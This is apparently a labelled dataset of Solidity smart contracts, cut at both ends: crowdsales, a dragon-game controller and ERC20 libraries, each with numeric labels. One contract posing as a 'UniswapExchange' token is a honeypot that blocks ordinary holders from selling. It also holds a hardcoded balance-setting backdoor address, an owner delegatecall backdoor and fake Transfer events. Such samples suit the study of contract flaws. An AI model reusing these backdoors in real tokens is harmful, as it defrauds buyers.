uint256 public baseRate;
uint32 public maxTimeBonusPercent;
uint32 public referrerBonusPercent;
uint32 public referralBonusPercent;
BulkBonus[] public bulkBonuses;
uint256 public tokensMinted;
uint256 public tokensSold;
uint256 public collectedEther;
mapping(address => uint256) contributions;
AALMToken public token;
TokenVesting public founderVestingContract;
bool public finalized;
function AALMCrowdsale(uint64 _startTimestamp, uint64 _endTimestamp, uint256 _hardCap, uint256 _minCap,
uint256 _founderTokensImmediate, uint256 _founderTokensVested, uint256 _vestingDuration,
uint256 _baseRate, uint32 _maxTimeBonusPercent, uint32 _referrerBonusPercent, uint32 _referralBonusPercent,
uint256[] bulkBonusMinAmounts, uint32[] bulkBonusPercents
) public {
require(_startTimestamp > now);
require(_startTimestamp < _endTimestamp);
startTimestamp = _startTimestamp;
endTimestamp = _endTimestamp;
require(_hardCap > 0);
hardCap = _hardCap;
minCap = _minCap;
initRatesAndBonuses(_baseRate, _maxTimeBonusPercent, _referrerBonusPercent, _referralBonusPercent, bulkBonusMinAmounts, bulkBonusPercents);
token = new AALMToken();
token.init(owner);
require(_founderTokensImmediate.add(_founderTokensVested) < _hardCap);
mintTokens(owner, _founderTokensImmediate);
founderVestingContract = new TokenVesting(owner, endTimestamp, 0, _vestingDuration, false);
mintTokens(founderVestingContract, _founderTokensVested);
}
function initRatesAndBonuses(
uint256 _baseRate, uint32 _maxTimeBonusPercent, uint32 _referrerBonusPercent, uint32 _referralBonusPercent,
uint256[] bulkBonusMinAmounts, uint32[] bulkBonusPercents
) internal {
require(_baseRate > 0);
baseRate = _baseRate;
maxTimeBonusPercent = _maxTimeBonusPercent;
referrerBonusPercent = _referrerBonusPercent;
referralBonusPercent = _referralBonusPercent;
uint256 prevBulkAmount = 0;
require(bulkBonusMinAmounts.length == bulkBonusPercents.length);
bulkBonuses.length = bulkBonusMinAmounts.length;
for(uint8 i=0; i < bulkBonuses.length; i++){
bulkBonuses[i] = BulkBonus({minAmount:bulkBonusMinAmounts[i], bonusPercent:bulkBonusPercents[i]});
BulkBonus storage bb = bulkBonuses[i];
require(prevBulkAmount < bb.minAmount);
prevBulkAmount = bb.minAmount;
}
}
function distributePreICOTokens(address[] beneficiaries, uint256[] amounts) onlyOwner public {
require(beneficiaries.length == amounts.length);
for(uint256 i=0; i<beneficiaries.length; i++){
mintTokens(beneficiaries[i], amounts[i]);
}
}
function () payable public {
sale(msg.sender, msg.value, address(0));
}
function referralSale(address beneficiary, address referrer) payable public returns(bool) {
sale(beneficiary, msg.value, referrer);
return true;
}
function sale(address beneficiary, uint256 value, address referrer) internal {
require(crowdsaleOpen());
require(value > 0);
collectedEther = collectedEther.add(value);
contributions[beneficiary] = contributions[beneficiary].add(value);
uint256 amount;
if(referrer == address(0)){
amount = getTokensWithBonuses(value, false);
} else{
amount = getTokensWithBonuses(value, true);
uint256 referrerAmount = getReferrerBonus(value);
tokensSold = tokensSold.add(referrerAmount);
mintTokens(referrer, referrerAmount);
}
tokensSold = tokensSold.add(amount);
mintTokens(beneficiary, amount);
}
function saleNonEther(address beneficiary, uint256 amount, string ) public onlyOwner {
mintTokens(beneficiary, amount);
}
function crowdsaleOpen() view public returns(bool) {
return (!finalized) && (tokensMinted < hardCap) && (startTimestamp <= now) && (now <= endTimestamp);
}
function getTokensLeft() view public returns(uint256) {
return hardCap.sub(tokensMinted);
}
function getTokensWithBonuses(uint256 value, bool withReferralBonus) view public returns(uint256) {
uint256 amount = value.mul(baseRate);
amount = amount.add(getTimeBonus(value)).add(getBulkBonus(value));
if(withReferralBonus){
amount = amount.add(getReferralBonus(value));
}
return amount;
}
function getTimeBonus(uint256 value) view public returns(uint256) {
uint256 maxBonus = value.mul(baseRate).mul(maxTimeBonusPercent).div(PERCENT_DIVIDER);
return maxBonus.mul(endTimestamp - now).div(endTimestamp - startTimestamp);
}
function getBulkBonus(uint256 value) view public returns(uint256) {
for(uint8 i=uint8(bulkBonuses.length); i > 0; i--){
uint8 idx = i - 1;
if (value >= bulkBonuses[idx].minAmount) {
return value.mul(baseRate).mul(bulkBonuses[idx].bonusPercent).div(PERCENT_DIVIDER);
}
}
return 0;
}
function getReferrerBonus(uint256 value) view public returns(uint256) {
return value.mul(baseRate).mul(referrerBonusPercent).div(PERCENT_DIVIDER);
}
function getReferralBonus(uint256 value) view public returns(uint256) {
return value.mul(baseRate).mul(referralBonusPercent).div(PERCENT_DIVIDER);
}
function mintTokens(address beneficiary, uint256 amount) internal {
tokensMinted = tokensMinted.add(amount);
require(tokensMinted <= hardCap);
assert(token.mint(beneficiary, amount));
}
function refund() public returns(bool){
return refundTo(msg.sender);
}
function refundTo(address beneficiary) public returns(bool) {
require(contributions[beneficiary] > 0);
require(finalized || (now > endTimestamp));
require(tokensSold < minCap);
uint256 _refund = contributions[beneficiary];
contributions[beneficiary] = 0;
beneficiary.transfer(_refund);
return true;
}
function finalizeCrowdsale() public onlyOwner {
finalized = true;
token.finishMinting();
token.transferOwnership(owner);
if(tokensSold >= minCap && this.balance > 0){
owner.transfer(this.balance);
}
}
function claimEther() public onlyOwner {
require(tokensSold >= minCap);
owner.transfer(this.balance);
}
} | 1 | 5,309 |
pragma solidity 0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
require(_addr != address(0), "invalid address");
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not a contract owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_validateAddress(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "contract is paused");
_;
}
modifier whenPaused() {
require(paused, "contract is not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
require(_isController(msg.sender), "no controller rights");
_;
}
function _isController(address _controller) internal view returns (bool) {
return controllers[_controller];
}
function _setControllers(address[] _controllers) internal {
for (uint256 i = 0; i < _controllers.length; i++) {
_validateAddress(_controllers[i]);
controllers[_controllers[i]] = true;
}
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
return internalDependencies;
}
function getExternalDependencies() public view returns(address[]) {
return externalDependencies;
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
for (uint256 i = 0; i < _newDependencies.length; i++) {
_validateAddress(_newDependencies[i]);
}
internalDependencies = _newDependencies;
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
externalDependencies = _newDependencies;
_setControllers(_newDependencies);
}
}
contract HumanOriented {
modifier onlyHuman() {
require(msg.sender == tx.origin, "not a human");
_;
}
}
contract Events {
function emitEggClaimed(address, uint256) external {}
function emitEggSentToNest(address, uint256) external {}
function emitDragonUpgraded(uint256) external {}
function emitEggHatched(address, uint256, uint256) external {}
function emitEggCreated(address, uint256) external {}
function emitDistributionUpdated(uint256, uint256, uint256) external {}
function emitSkillSet(uint256) external {}
function emitSkillUsed(uint256, uint256) external {}
function emitDragonNameSet(uint256, bytes32) external {}
function emitDragonTacticsSet(uint256, uint8, uint8) external {}
function emitUserNameSet(address, bytes32) external {}
function emitLeaderboardRewardsDistributed(uint256[10], address[10]) external {}
}
contract User {
mapping (bytes32 => bool) public existingNames;
mapping (address => bytes32) public names;
function getName(address) external view returns (bytes32) {}
function setName(address, string) external returns (bytes32) {}
}
contract CoreController {
function claimEgg(address, uint8) external returns (uint256, uint256, uint256, uint256) {}
function sendToNest(address, uint256) external returns (bool, uint256, uint256, address) {}
function breed(address, uint256, uint256) external returns (uint256) {}
function upgradeDragonGenes(address, uint256, uint16[10]) external {}
function setDragonTactics(address, uint256, uint8, uint8) external {}
function setDragonName(address, uint256, string) external returns (bytes32) {}
function setDragonSpecialPeacefulSkill(address, uint256, uint8) external {}
function useDragonSpecialPeacefulSkill(address, uint256, uint256) external {}
function distributeLeaderboardRewards() external returns (uint256[10], address[10]) {}
}
contract MainBase is Pausable, Upgradable, HumanOriented {
CoreController coreController;
User user;
Events events;
function claimEgg(uint8 _dragonType) external onlyHuman whenNotPaused {
(
uint256 _eggId,
uint256 _restAmount,
uint256 _lastBlock,
uint256 _interval
) = coreController.claimEgg(msg.sender, _dragonType);
events.emitEggClaimed(msg.sender, _eggId);
events.emitDistributionUpdated(_restAmount, _lastBlock, _interval);
}
function sendToNest(
uint256 _eggId
) external onlyHuman whenNotPaused {
(
bool _isHatched,
uint256 _newDragonId,
uint256 _hatchedId,
address _owner
) = coreController.sendToNest(msg.sender, _eggId);
events.emitEggSentToNest(msg.sender, _eggId);
if (_isHatched) {
events.emitEggHatched(_owner, _newDragonId, _hatchedId);
}
}
function breed(uint256 _momId, uint256 _dadId) external onlyHuman whenNotPaused {
uint256 eggId = coreController.breed(msg.sender, _momId, _dadId);
events.emitEggCreated(msg.sender, eggId);
}
function upgradeDragonGenes(uint256 _id, uint16[10] _dnaPoints) external onlyHuman whenNotPaused {
coreController.upgradeDragonGenes(msg.sender, _id, _dnaPoints);
events.emitDragonUpgraded(_id);
}
function setDragonTactics(uint256 _id, uint8 _melee, uint8 _attack) external onlyHuman whenNotPaused {
coreController.setDragonTactics(msg.sender, _id, _melee, _attack);
events.emitDragonTacticsSet(_id, _melee, _attack);
}
function setDragonName(uint256 _id, string _name) external onlyHuman whenNotPaused returns (bytes32 name) {
name = coreController.setDragonName(msg.sender, _id, _name);
events.emitDragonNameSet(_id, name);
}
function setDragonSpecialPeacefulSkill(uint256 _id, uint8 _class) external onlyHuman whenNotPaused {
coreController.setDragonSpecialPeacefulSkill(msg.sender, _id, _class);
events.emitSkillSet(_id);
}
function useDragonSpecialPeacefulSkill(uint256 _id, uint256 _target) external onlyHuman whenNotPaused {
coreController.useDragonSpecialPeacefulSkill(msg.sender, _id, _target);
events.emitSkillUsed(_id, _target);
}
function distributeLeaderboardRewards() external onlyHuman whenNotPaused {
(
uint256[10] memory _dragons,
address[10] memory _users
) = coreController.distributeLeaderboardRewards();
events.emitLeaderboardRewardsDistributed(_dragons, _users);
}
function setName(string _name) external onlyHuman whenNotPaused returns (bytes32 name) {
name = user.setName(msg.sender, _name);
events.emitUserNameSet(msg.sender, name);
}
function getName(address _user) external view returns (bytes32) {
return user.getName(_user);
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
super.setInternalDependencies(_newDependencies);
coreController = CoreController(_newDependencies[0]);
user = User(_newDependencies[1]);
events = Events(_newDependencies[2]);
}
} | 0 | 862 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,006 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenConfig {
string public constant TOKEN_SYMBOL = "GYM";
string public constant TOKEN_NAME = "GYM Rewards";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
}
contract TokenSaleConfig is TokenConfig {
uint256 public constant START_TIME = 1516406400;
uint256 public constant PHASE2_START_TIME = 1517443200;
uint256 public constant PHASE3_START_TIME = 1518739200;
uint256 public constant PHASE4_START_TIME = 1519862400;
uint256 public constant PHASE5_START_TIME = 1521158400;
uint256 public constant END_TIME = 1522540800;
uint256 public constant TIER1_RATE = 160000;
uint256 public constant TIER2_RATE = 150000;
uint256 public constant TIER3_RATE = 125000;
uint256 public constant TIER4_RATE = 115000;
uint256 public constant TIER5_RATE = 100000;
uint256 public constant CONTRIBUTION_MIN = 1 * 10 ** 16;
uint256 public constant CONTRIBUTION_MAX = 100000 ether;
uint256 public constant MAX_TOKENS_SALE = 2000000000 * DECIMALSFACTOR;
uint256 public constant MAX_TOKENS_FOUNDERS = 100000000 * DECIMALSFACTOR;
uint256 public constant MAX_TOKENS_ADVISORS = 150000000 * DECIMALSFACTOR;
uint256 public constant MAX_TOKENS_EARLY_INVESTORS = 150000000 * DECIMALSFACTOR;
uint256 public constant MAX_TOKENS_AIRDROPS_BOUNTIES = 5000000 * DECIMALSFACTOR;
}
contract GYMRewardsToken is MintableToken, TokenConfig {
string public constant name = TOKEN_NAME;
string public constant symbol = TOKEN_SYMBOL;
uint8 public constant decimals = TOKEN_DECIMALS;
}
contract GYMRewardsCrowdsale is Pausable, TokenSaleConfig {
using SafeMath for uint256;
GYMRewardsToken public token;
uint256 public startTime;
uint256 public tier2Time;
uint256 public tier3Time;
uint256 public tier4Time;
uint256 public tier5Time;
uint256 public endTime;
address public wallet;
uint256 public weiRaised;
uint256 public tokensMintedForSale;
uint256 public tokensMintedForOperations;
bool public isFinalized = false;
bool public bountiesMinted = false;
bool public opMinted = false;
event Finalized();
modifier onlyDuringSale() {
require(hasStarted() && !hasEnded());
_;
}
modifier onlyAfterSale() {
require(hasEnded());
_;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event BountiesMinted(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function GYMRewardsCrowdsale(address _wallet) public {
require(_wallet != address(0));
token = createTokenContract();
startTime = START_TIME;
tier2Time = PHASE2_START_TIME;
tier3Time = PHASE3_START_TIME;
tier4Time = PHASE4_START_TIME;
tier5Time = PHASE5_START_TIME;
endTime = END_TIME;
wallet = _wallet;
mintBounties(wallet);
}
function createTokenContract() internal returns (GYMRewardsToken) {
return new GYMRewardsToken();
}
function () public payable whenNotPaused onlyDuringSale {
buyTokens(msg.sender);
}
function mintBounties(address beneficiary) public onlyOwner{
if (opMinted == false)
{
opMinted = true;
tokensMintedForOperations.add(MAX_TOKENS_AIRDROPS_BOUNTIES);
token.mint(beneficiary, MAX_TOKENS_AIRDROPS_BOUNTIES);
BountiesMinted(owner, beneficiary, MAX_TOKENS_AIRDROPS_BOUNTIES, MAX_TOKENS_AIRDROPS_BOUNTIES);
}
}
function buyTokens(address beneficiary) public payable whenNotPaused onlyDuringSale {
require(beneficiary != address(0));
require(msg.value > 0);
uint256 weiAmount = msg.value;
uint256 exchangeRate = calculateTierBonus();
uint256 tokens = weiAmount.mul(exchangeRate);
require (tokensMintedForSale.add(tokens) <= MAX_TOKENS_SALE);
weiRaised = weiRaised.add(weiAmount);
tokensMintedForSale = tokensMintedForSale.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
if (tokensMintedForSale == MAX_TOKENS_SALE) {
finalizeInternal();
}
forwardFunds();
}
function calculateTierBonus() public view returns (uint256){
if(now >= startTime && now < tier2Time){
return TIER1_RATE;
}
if(now >= tier2Time && now < tier3Time){
return TIER2_RATE;
}
if(now >= tier3Time && now <= tier4Time){
return TIER3_RATE;
}
if(now >= tier4Time && now <= tier5Time){
return TIER4_RATE;
}
if(now >= tier5Time && now <= endTime){
return TIER5_RATE;
}
}
function finalizeInternal() internal returns (bool) {
require(!isFinalized);
isFinalized = true;
Finalized();
return true;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function hasEnded() public constant returns (bool) {
bool _saleIsOver = now > endTime;
return _saleIsOver || isFinalized;
}
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function tellTime() public constant returns (uint) {
return now;
}
} | 1 | 4,883 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
